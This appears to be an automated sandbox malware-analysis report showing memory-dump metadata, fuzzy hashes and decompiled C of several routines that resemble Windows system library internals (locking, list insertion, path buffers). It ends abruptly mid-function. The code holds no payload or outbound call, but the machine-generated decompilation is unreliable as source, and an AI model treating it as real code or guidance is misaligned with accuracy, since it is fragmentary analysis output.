0x02d80eb3
0x02d80e1e
0x02d80e21
0x02d80e25
0x02d80e2b
0x02d80e2f
0x02d80e30
0x02d80e3a
0x02d80e3f
0x02d80e41
0x00000000
0x00000000
0x02d80e47
0x00000000
0x02d80e47
0x02d80df9
0x02d80dfe
0x00000000
0x00000000
0x00000000
0x02d80dfe
0x02d25303
0x02d25307
0x00000000
0x02d25309
0x00000000
0x02d25309
0x02d25307
0x02d252e9
0x02d252e9
0x00000000
0x02d252e9
0x02d2530e
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2918cd9f6cbb87faa397667597a6291fd77803ef565ed6f88fb746b8fadd9f58
Instruction ID: e7b44a983827d474e3d09e742f6dd5bf1c99c005e725c79cbf33c4ddf100450e
Opcode Fuzzy Hash: 2918cd9f6cbb87faa397667597a6291fd77803ef565ed6f88fb746b8fadd9f58
Instruction Fuzzy Hash: DB51CC71245741AFE722EF28C840B27BBE5FF54714F14892AE49997790E770EC48CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02D3EF40, Relevance: .1, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E02D3EF40(intOrPtr __ecx) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t58;
				char _t59;
				signed char _t69;
				void* _t73;
				signed int _t74;
				char _t79;
				signed char _t81;
				signed int _t85;
				signed int _t87;
				intOrPtr _t90;
				signed char* _t91;
				void* _t92;
				signed int _t94;
				void* _t96;

				_t90 = __ecx;
				_v16 = __ecx;
				if(( *(__ecx + 0x14) & 0x04000000) != 0) {
					_t58 =  *((intOrPtr*)(__ecx));
					if(_t58 != 0xffffffff &&  *((intOrPtr*)(_t58 + 8)) == 0) {
						E02D29080(_t73, __ecx, __ecx, _t92);
					}
				}
				_t74 = 0;
				_t96 =  *0x7ffe036a - 1;
				_v12 = 0;
				_v7 = 0;
				if(_t96 > 0) {
					_t74 =  *(_t90 + 0x14) & 0x00ffffff;
					_v12 = _t74;
					_v7 = _t96 != 0;
				}
				_t79 = 0;
				_v8 = 0;
				_v5 = 0;
				while(1) {
					L4:
					_t59 = 1;
					L5:
					while(1) {
						if(_t59 == 0) {
							L12:
							_t21 = _t90 + 4; // 0x770bc21e
							_t87 =  *_t21;
							_v6 = 0;
							if(_t79 != 0) {
								if((_t87 & 0x00000002) != 0) {
									goto L19;
								}
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000003;
								} else {
									_t51 = _t87 - 2; // -2
									_t74 = _t51;
								}
								goto L15;
							} else {
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000001;
								} else {
									_t26 = _t87 - 4; // -4
									_t74 = _t26;
									if((_t74 & 0x00000002) == 0) {
										_t74 = _t74 - 2;
									}
								}
								L15:
								if(_t74 == _t87) {
									L19:
									E02D22D8A(_t74, _t90, _t87, _t90);
									_t74 = _v12;
									_v8 = 1;
									if(_v7 != 0 && _t74 > 0x64) {
										_t74 = _t74 - 1;
										_v12 = _t74;
									}
									_t79 = _v5;
									goto L4;
								}
								asm("lock cmpxchg [esi], ecx");
								if(_t87 != _t87) {
									_t74 = _v12;
									_t59 = 0;
									_t79 = _v5;
									continue;
								}
								if(_v6 != 0) {
									_t74 = _v12;
									L25:
									if(_v7 != 0) {
										if(_t74 < 0x7d0) {
											if(_v8 == 0) {
												_t74 = _t74 + 1;
											}
										}
										_t38 = _t90 + 0x14; // 0x0
										_t39 = _t90 + 0x14; // 0x0
										_t85 = ( *_t38 ^ _t74) & 0x00ffffff ^  *_t39;
										if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
											_t85 = _t85 & 0xff000000;
										}
										 *(_t90 + 0x14) = _t85;
									}
									 *((intOrPtr*)(_t90 + 0xc)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
									 *((intOrPtr*)(_t90 + 8)) = 1;
									return 0;
								}
								_v5 = 1;
								_t87 = _t74;
								goto L19;
							}
						}
						_t94 = _t74;
						_v20 = 1 + (0 | _t79 != 0x00000000) * 2;
						if(_t74 == 0) {
							goto L12;
						} else {
							_t91 = _t90 + 4;
							goto L8;
							L9:
							while((_t81 & 0x00000001) != 0) {
								_t69 = _t81;
								asm("lock cmpxchg [edi], edx");
								if(_t69 != _t81) {
									_t81 = _t69;
									continue;
								}
								_t90 = _v16;
								goto L25;
							}
							asm("pause");
							_t94 = _t94 - 1;
							if(_t94 != 0) {
								L8:
								_t81 =  *_t91;
								goto L9;
							} else {
								_t90 = _v16;
								_t79 = _v5;
								goto L12;
							}
						}
					}
				}
			}

0x02d3ef4b
0x02d3ef4d
0x02d3ef57
0x02d3f0bd
0x02d3f0c2
0x02d3f0d2
0x02d3f0d2
0x02d3f0c2
0x02d3ef5d
0x02d3ef5f
0x02d3ef67
0x02d3ef6a
0x02d3ef6d
0x02d3ef74
0x02d3ef7f
0x02d3ef82
0x02d3ef82
0x02d3ef86
0x02d3ef88
0x02d3ef8c
0x02d3ef8f
0x02d3ef8f
0x02d3ef8f
0x00000000
0x02d3ef91
0x02d3ef93
0x02d3efc4
0x02d3efc4
0x02d3efc4
0x02d3efca
0x02d3efd0
0x02d3f0a6
0x00000000
0x00000000
0x02d3f0af
0x02d8bb06
0x02d8bb0a
0x02d3f0b5
0x02d3f0b5
0x02d3f0b5
0x02d3f0b5
0x00000000
0x02d3efd6
0x02d3efd9
0x02d3f0de
0x02d3f0e2
0x02d3efdf
0x02d3efdf
0x02d3efdf
0x02d3efe5
0x02d8bafc
0x02d8bafc
0x02d3efe5
0x02d3efeb
0x02d3efed
0x02d3f00f
0x02d3f011
0x02d3f01a
0x02d3f01d
0x02d3f021
0x02d3f028
0x02d3f029
0x02d3f029
0x02d3f02c
0x00000000
0x02d3f02c
0x02d3eff3
0x02d3eff9
0x02d3f0ea
0x02d3f0ed
0x02d3f0ef
0x00000000
0x02d3f0ef
0x02d3f003
0x02d8bb12
0x02d3f045
0x02d3f049
0x02d3f051
0x02d3f09e
0x02d3f0a0
0x02d3f0a0
0x02d3f09e
0x02d3f053
0x02d3f064
0x02d3f064
0x02d3f06b
0x02d8bb1a
0x02d8bb1a
0x02d3f071
0x02d3f071
0x02d3f07d
0x02d3f082
0x02d3f08f
0x02d3f08f
0x02d3f009
0x02d3f00d
0x00000000
0x02d3f00d
0x02d3efd0
0x02d3ef97
0x02d3efa5
0x02d3efaa
0x00000000
0x02d3efac
0x02d3efac
0x02d3efac
0x00000000
0x02d3efb2
0x02d3f036
0x02d3f03a
0x02d3f040
0x02d3f090
0x00000000
0x02d3f092
0x02d3f042
0x00000000
0x02d3f042
0x02d3efb7
0x02d3efb9
0x02d3efbc
0x02d3efb0
0x02d3efb0
0x00000000
0x02d3efbe
0x02d3efbe
0x02d3efc1
0x00000000
0x02d3efc1
0x02d3efbc
0x02d3efaa
0x02d3ef91

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction ID: 9dbb4af1bf7ed9c83eb8f47e17ae6b26ad827d3e0ec12af617abb50d7c8b8e4d
Opcode Fuzzy Hash: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction Fuzzy Hash: 7751F430E04249DFDB26CB68C1D07AEBBB1EF55318F2881A9D485977C1C3B5AD89C791

Uniqueness

Uniqueness Score: -1.00%

Function 02DF740D, Relevance: .1, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E02DF740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t66;
				intOrPtr* _t69;
				void* _t74;
				intOrPtr* _t78;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr _t83;
				signed short* _t84;
				intOrPtr _t85;
				signed int _t87;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t98;

				_t84 = __edx;
				_t80 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t55 = __ecx;
				_v8 = __edx;
				_t87 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t55 + 0x154; // 0x154
				_t93 = _t3;
				_t78 =  *_t93;
				_t4 = _t87 + 2; // 0x2
				_t56 = _t4;
				while(_t78 != _t93) {
					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
						L4:
						_t78 =  *_t78;
						continue;
					} else {
						_t7 = _t78 + 0x18; // 0x18
						if(E02D7D4F0(_t7, _t84[2], _t87) == _t87) {
							_t40 = _t78 + 0xc; // 0xc
							_t94 = _t40;
							_t90 =  *_t94;
							while(_t90 != _t94) {
								_t41 = _t90 + 8; // 0x8
								_t74 = E02D6F380(_a4, _t41, 0x10);
								_t98 = _t98 + 0xc;
								if(_t74 != 0) {
									_t90 =  *_t90;
									continue;
								}
								goto L12;
							}
							_t82 = L02D44620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
							if(_t82 != 0) {
								_t46 = _t78 + 0xc; // 0xc
								_t69 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 =  *_t69;
								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
									L20:
									_t82 = 3;
									asm("int 0x29");
								}
								 *((intOrPtr*)(_t82 + 4)) = _t69;
								 *_t82 = _t85;
								 *((intOrPtr*)(_t85 + 4)) = _t82;
								 *_t69 = _t82;
								 *(_t78 + 8) =  *(_t78 + 8) + 1;
								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
								goto L11;
							} else {
								L18:
								_push(0xe);
								_pop(0);
							}
						} else {
							_t84 = _v8;
							_t9 = _t87 + 2; // 0x2
							_t56 = _t9;
							goto L4;
						}
					}
					L12:
					return 0;
				}
				_t10 = _t87 + 0x1a; // 0x1a
				_t78 = L02D44620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t10);
				if(_t78 == 0) {
					goto L18;
				} else {
					_t12 = _t87 + 2; // 0x2
					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
					_t16 = _t78 + 0x18; // 0x18
					E02D6F3E0(_t16, _v8[2], _t87);
					 *((short*)(_t78 + _t87 + 0x18)) = 0;
					_t19 = _t78 + 0xc; // 0xc
					_t66 = _t19;
					 *((intOrPtr*)(_t66 + 4)) = _t66;
					 *_t66 = _t66;
					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
					_t81 = L02D44620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
					if(_t81 == 0) {
						goto L18;
					} else {
						_t26 = _t78 + 0xc; // 0xc
						_t69 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t85 =  *_t69;
						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t81 + 4)) = _t69;
							 *_t81 = _t85;
							 *((intOrPtr*)(_t85 + 4)) = _t81;
							 *_t69 = _t81;
							_t83 = _v12;
							 *(_t78 + 8) = 1;
							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							_t34 = _t83 + 0x154; // 0x1ba
							_t69 = _t34;
							_t85 =  *_t69;
							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
								goto L20;
							} else {
								 *_t78 = _t85;
								 *((intOrPtr*)(_t78 + 4)) = _t69;
								 *((intOrPtr*)(_t85 + 4)) = _t78;
								 *_t69 = _t78;
								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							}
						}
						goto L11;
					}
				}
				goto L12;
			}

0x02df740d
0x02df740d
0x02df7412
0x02df7413
0x02df7416
0x02df7418
0x02df741c
0x02df741f
0x02df7422
0x02df7422
0x02df7428
0x02df742a
0x02df742a
0x02df7451
0x02df7432
0x02df744f
0x02df744f
0x00000000
0x02df7434
0x02df7438
0x02df7443
0x02df7517
0x02df7517
0x02df751a
0x02df7535
0x02df7520
0x02df7527
0x02df752c
0x02df7531
0x02df7533
0x00000000
0x02df7533
0x00000000
0x02df7531
0x02df754b
0x02df754f
0x02df755c
0x02df755c
0x02df755f
0x02df7560
0x02df7561
0x02df7562
0x02df7563
0x02df7568
0x02df756a
0x02df756c
0x02df756d
0x02df756d
0x02df756f
0x02df7572
0x02df7574
0x02df7577
0x02df757c
0x02df757f
0x00000000
0x02df7551
0x02df7551
0x02df7551
0x02df7553
0x02df7553
0x02df7449
0x02df7449
0x02df744c
0x02df744c
0x00000000
0x02df744c
0x02df7443
0x02df750e
0x02df7514
0x02df7514
0x02df7455
0x02df7469
0x02df746d
0x00000000
0x02df7473
0x02df7473
0x02df7476
0x02df7480
0x02df7484
0x02df748e
0x02df7493
0x02df7493
0x02df7496
0x02df7499
0x02df74a1
0x02df74b1
0x02df74b5
0x00000000
0x02df74bb
0x02df74c1
0x02df74c1
0x02df74c4
0x02df74c5
0x02df74c6
0x02df74c7
0x02df74c8
0x02df74cd
0x00000000
0x02df74d3
0x02df74d3
0x02df74d6
0x02df74d8
0x02df74db
0x02df74dd
0x02df74e0
0x02df74e7
0x02df74ee
0x02df74ee
0x02df74f4
0x02df74f9
0x00000000
0x02df74fb
0x02df74fb
0x02df74fd
0x02df7500
0x02df7503
0x02df7505
0x02df7505
0x02df74f9
0x00000000
0x02df74cd
0x02df74b5
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction ID: cc08bf202fdb4a001695793abee40d2e63e4848f80c27c6a0cf954864face798
Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction Fuzzy Hash: 50518C71600606EFDB55CF54C880A96FBB5FF45304F1980AAE9089F315E771ED85CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D54D3B, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E02D54D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				char _v176;
				char _v177;
				char _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t42;
				char* _t44;
				intOrPtr _t46;
				intOrPtr _t50;
				char* _t57;
				intOrPtr _t59;
				intOrPtr _t67;
				signed int _t69;

				_t64 = __edx;
				_v12 =  *0x2e1d360 ^ _t69;
				_t65 = 0xa0;
				_v196 = __edx;
				_v177 = 0;
				_t67 = __ecx;
				_v192 = __ecx;
				E02D6FA60( &_v176, 0, 0xa0);
				_t57 =  &_v176;
				_t59 = 0xa0;
				if( *0x2e17bc8 != 0) {
					L3:
					while(1) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t67 = _v192;
						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
						_push( &_v184);
						_push(_t59);
						_push(_t57);
						_push(0xa0);
						_push(_t57);
						_push(0xf);
						_t42 = E02D6B0B0();
						if(_t42 != 0xc0000023) {
							break;
						}
						if(_v177 != 0) {
							L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
						}
						_v177 = 1;
						_t44 = L02D44620(_t59,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v184);
						_t59 = _v184;
						_t57 = _t44;
						if(_t57 != 0) {
							continue;
						} else {
							_t42 = 0xc0000017;
							break;
						}
					}
					if(_t42 != 0) {
						_t65 = E02D2CCC0(_t42);
						if(_t65 != 0) {
							L10:
							if(_v177 != 0) {
								if(_t57 != 0) {
									L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
								}
							}
							_t46 = _t65;
							L12:
							return E02D6B640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
						}
						L7:
						_t50 = _a4;
						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
						if(_t50 != 3) {
							if(_t50 == 2) {
								goto L8;
							}
							L9:
							if(E02D6F380(_t67 + 0xc, 0x2d05138, 0x10) == 0) {
								 *0x2e160d8 = _t67;
							}
							goto L10;
						}
						L8:
						_t64 = _t57 + 0x28;
						E02D54F49(_t67, _t57 + 0x28);
						goto L9;
					}
					_t65 = 0;
					goto L7;
				}
				if(E02D54E70(0x2e186b0, 0x2d55690, 0, 0) != 0) {
					_t46 = E02D2CCC0(_t56);
					goto L12;
				} else {
					_t59 = 0xa0;
					goto L3;
				}
			}

0x02d54d3b
0x02d54d4d
0x02d54d53
0x02d54d58
0x02d54d65
0x02d54d6c
0x02d54d71
0x02d54d77
0x02d54d7f
0x02d54d8c
0x02d54d8e
0x02d54dad
0x02d54db0
0x02d54db7
0x02d54db8
0x02d54db9
0x02d54dba
0x02d54dbb
0x02d54dc1
0x02d54dc8
0x02d54dcc
0x02d54dd5
0x02d54dde
0x02d54ddf
0x02d54de0
0x02d54de1
0x02d54de6
0x02d54de7
0x02d54de9
0x02d54df3
0x00000000
0x00000000
0x02d96c7c
0x02d96c8a
0x02d96c8a
0x02d96c9d
0x02d96ca7
0x02d96cac
0x02d96cb2
0x02d96cb9
0x00000000
0x02d96cbf
0x02d96cbf
0x00000000
0x02d96cbf
0x02d96cb9
0x02d54dfb
0x02d96ccf
0x02d96cd3
0x02d54e32
0x02d54e39
0x02d96ce0
0x02d96cf2
0x02d96cf2
0x02d96ce0
0x02d54e3f
0x02d54e41
0x02d54e51
0x02d54e51
0x02d54e03
0x02d54e03
0x02d54e09
0x02d54e0f
0x02d54e57
0x00000000
0x00000000
0x02d54e1b
0x02d54e30
0x02d54e5b
0x02d54e5b
0x00000000
0x02d54e30
0x02d54e11
0x02d54e11
0x02d54e16
0x00000000
0x02d54e16
0x02d54e01
0x00000000
0x02d54e01
0x02d54da5
0x02d96c6b
0x00000000
0x02d54dab
0x02d54dab
0x00000000
0x02d54dab

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 342844d02b850a926b5389891cec586cf94b77a2e33333f8e5c831adfb8c1b5d
Instruction ID: ae60d1ffc549e2b384711a09cfd981d6fe056425d970d58864ab09d1ae6c5b03
Opcode Fuzzy Hash: 342844d02b850a926b5389891cec586cf94b77a2e33333f8e5c831adfb8c1b5d
Instruction Fuzzy Hash: 3E416371A403289FEF21DF149C84F6BB7AAEB45714F04449AED4597380D7B4DD84CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02D63D43, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D63D43(signed short* __ecx, signed short* __edx, signed short* _a4, signed short** _a8, intOrPtr* _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				char _v12;
				signed short** _t33;
				short* _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				signed short _t43;
				intOrPtr* _t47;
				intOrPtr* _t53;
				signed short _t57;
				intOrPtr _t58;
				signed short _t60;
				signed short* _t61;

				_t47 = __ecx;
				_t61 = __edx;
				_t60 = ( *__ecx & 0x0000ffff) + 2;
				if(_t60 > 0xfffe) {
					L22:
					return 0xc0000106;
				}
				if(__edx != 0) {
					if(_t60 <= ( *(__edx + 2) & 0x0000ffff)) {
						L5:
						E02D37B60(0, _t61, 0x2d011c4);
						_v12 =  *_t47;
						_v12 = _v12 + 0xfff8;
						_v8 =  *((intOrPtr*)(_t47 + 4)) + 8;
						E02D37B60(0xfff8, _t61,  &_v12);
						_t33 = _a8;
						if(_t33 != 0) {
							 *_t33 = _t61;
						}
						 *((short*)(_t61[2] + (( *_t61 & 0x0000ffff) >> 1) * 2)) = 0;
						_t53 = _a12;
						if(_t53 != 0) {
							_t57 = _t61[2];
							_t38 = _t57 + ((( *_t61 & 0x0000ffff) >> 1) - 1) * 2;
							while(_t38 >= _t57) {
								if( *_t38 == 0x5c) {
									_t41 = _t38 + 2;
									if(_t41 == 0) {
										break;
									}
									_t58 = 0;
									if( *_t41 == 0) {
										L19:
										 *_t53 = _t58;
										goto L7;
									}
									 *_t53 = _t41;
									goto L7;
								}
								_t38 = _t38 - 2;
							}
							_t58 = 0;
							goto L19;
						} else {
							L7:
							_t39 = _a16;
							if(_t39 != 0) {
								 *_t39 = 0;
								 *((intOrPtr*)(_t39 + 4)) = 0;
								 *((intOrPtr*)(_t39 + 8)) = 0;
								 *((intOrPtr*)(_t39 + 0xc)) = 0;
							}
							return 0;
						}
					}
					_t61 = _a4;
					if(_t61 != 0) {
						L3:
						_t43 = L02D44620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t60);
						_t61[2] = _t43;
						if(_t43 == 0) {
							return 0xc0000017;
						}
						_t61[1] = _t60;
						 *_t61 = 0;
						goto L5;
					}
					goto L22;
				}
				_t61 = _a4;
				if(_t61 == 0) {
					return 0xc000000d;
				}
				goto L3;
			}

0x02d63d4c
0x02d63d50
0x02d63d55
0x02d63d5e
0x02d9e79a
0x00000000
0x02d9e79a
0x02d63d68
0x02d9e789
0x02d63d9d
0x02d63da3
0x02d63daf
0x02d63db5
0x02d63dbc
0x02d63dc4
0x02d63dc9
0x02d63dce
0x02d9e7ae
0x02d9e7ae
0x02d63dde
0x02d63de2
0x02d63de7
0x02d63e0d
0x02d63e13
0x02d63e16
0x02d63e1e
0x02d63e25
0x02d63e28
0x00000000
0x00000000
0x02d63e2a
0x02d63e2f
0x02d63e37
0x02d63e37
0x00000000
0x02d63e37
0x02d63e31
0x00000000
0x02d63e31
0x02d63e20
0x02d63e20
0x02d63e35
0x00000000
0x02d63de9
0x02d63de9
0x02d63de9
0x02d63dee
0x02d63dfd
0x02d63dff
0x02d63e02
0x02d63e05
0x02d63e05
0x00000000
0x02d63df0
0x02d63de7
0x02d9e78f
0x02d9e794
0x02d63d79
0x02d63d84
0x02d63d89
0x02d63d8e
0x00000000
0x02d9e7a4
0x02d63d96
0x02d63d9a
0x00000000
0x02d63d9a
0x00000000
0x02d9e794
0x02d63d6e
0x02d63d73
0x00000000
0x02d9e7b5
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f5acc6ae6dcb3195b4714d9f89dae09809ba80679100c8adfb4887695efd072
Instruction ID: 3949723493b21f516c2d1ae734e4efcf428188dd227b729e9839794d4e860bcc
Opcode Fuzzy Hash: 7f5acc6ae6dcb3195b4714d9f89dae09809ba80679100c8adfb4887695efd072
Instruction Fuzzy Hash: CD319E71605615DBDB69CF6AC845A7ABBF5EF45B04B0580AEF889CB350E730DC40CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02DA7016, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E02DA7016(short __ecx, intOrPtr __edx, char _a4, char _a8, signed short* _a12, signed short* _a16) {
				signed int _v8;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				signed short* _v600;
				char _v604;
				short _v606;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short* _t55;
				void* _t56;
				signed short* _t58;
				signed char* _t61;
				char* _t68;
				void* _t69;
				void* _t71;
				void* _t72;
				signed int _t75;

				_t64 = __edx;
				_t77 = (_t75 & 0xfffffff8) - 0x25c;
				_v8 =  *0x2e1d360 ^ (_t75 & 0xfffffff8) - 0x0000025c;
				_t55 = _a16;
				_v606 = __ecx;
				_t71 = 0;
				_t58 = _a12;
				_v596 = __edx;
				_v600 = _t58;
				_t68 =  &_v588;
				if(_t58 != 0) {
					_t71 = ( *_t58 & 0x0000ffff) + 2;
					if(_t55 != 0) {
						_t71 = _t71 + ( *_t55 & 0x0000ffff) + 2;
					}
				}
				_t8 = _t71 + 0x2a; // 0x28
				_t33 = _t8;
				_v592 = _t8;
				if(_t71 <= 0x214) {
					L6:
					 *((short*)(_t68 + 6)) = _v606;
					if(_t64 != 0xffffffff) {
						asm("cdq");
						 *((intOrPtr*)(_t68 + 0x20)) = _t64;
						 *((char*)(_t68 + 0x28)) = _a4;
						 *((intOrPtr*)(_t68 + 0x24)) = _t64;
						 *((char*)(_t68 + 0x29)) = _a8;
						if(_t71 != 0) {
							_t22 = _t68 + 0x2a; // 0x2a
							_t64 = _t22;
							E02DA6B4C(_t58, _t22, _t71,  &_v604);
							if(_t55 != 0) {
								_t25 = _v604 + 0x2a; // 0x2a
								_t64 = _t25 + _t68;
								E02DA6B4C(_t55, _t25 + _t68, _t71 - _v604,  &_v604);
							}
							if(E02D47D50() == 0) {
								_t61 = 0x7ffe0384;
							} else {
								_t61 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							}
							_push(_t68);
							_push(_v592 + 0xffffffe0);
							_push(0x402);
							_push( *_t61 & 0x000000ff);
							E02D69AE0();
						}
					}
					_t35 =  &_v588;
					if( &_v588 != _t68) {
						_t35 = L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t68);
					}
					L16:
					_pop(_t69);
					_pop(_t72);
					_pop(_t56);
					return E02D6B640(_t35, _t56, _v8 ^ _t77, _t64, _t69, _t72);
				}
				_t68 = L02D44620(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t33);
				if(_t68 == 0) {
					goto L16;
				} else {
					_t58 = _v600;
					_t64 = _v596;
					goto L6;
				}
			}

0x02da7016
0x02da701e
0x02da702b
0x02da7033
0x02da7037
0x02da703c
0x02da703e
0x02da7041
0x02da7045
0x02da704a
0x02da7050
0x02da7055
0x02da705a
0x02da7062
0x02da7062
0x02da705a
0x02da7064
0x02da7064
0x02da7067
0x02da7071
0x02da7096
0x02da709b
0x02da70a2
0x02da70a6
0x02da70a7
0x02da70ad
0x02da70b3
0x02da70b6
0x02da70bb
0x02da70c3
0x02da70c3
0x02da70c6
0x02da70cd
0x02da70dd
0x02da70e0
0x02da70e2
0x02da70e2
0x02da70ee
0x02da7101
0x02da70f0
0x02da70f9
0x02da70f9
0x02da710a
0x02da710e
0x02da7112
0x02da7117
0x02da7118
0x02da7118
0x02da70bb
0x02da711d
0x02da7123
0x02da7131
0x02da7131
0x02da7136
0x02da713d
0x02da713e
0x02da713f
0x02da714a
0x02da714a
0x02da7084
0x02da7088
0x00000000
0x02da708e
0x02da708e
0x02da7092
0x00000000
0x02da7092

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8ad383b24ee20b5af03efcf560da456d566b7b818fdfa3b9ab89b32caed3c3c
Instruction ID: 0d8c6d6a17e01c792019b028c64c741759a14ec699490dc4740049683dc47580
Opcode Fuzzy Hash: e8ad383b24ee20b5af03efcf560da456d566b7b818fdfa3b9ab89b32caed3c3c
Instruction Fuzzy Hash: D0319E726047919BD320DF68C961E6AB7F9FF88700F044A29F89597790E730ED04CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 02D4C182, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E02D4C182(void* __ecx, unsigned int* __edx, intOrPtr _a4) {
				signed int* _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				signed char _t43;
				signed char _t48;
				signed char _t62;
				void* _t63;
				intOrPtr _t69;
				intOrPtr _t71;
				unsigned int* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(E02D47D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
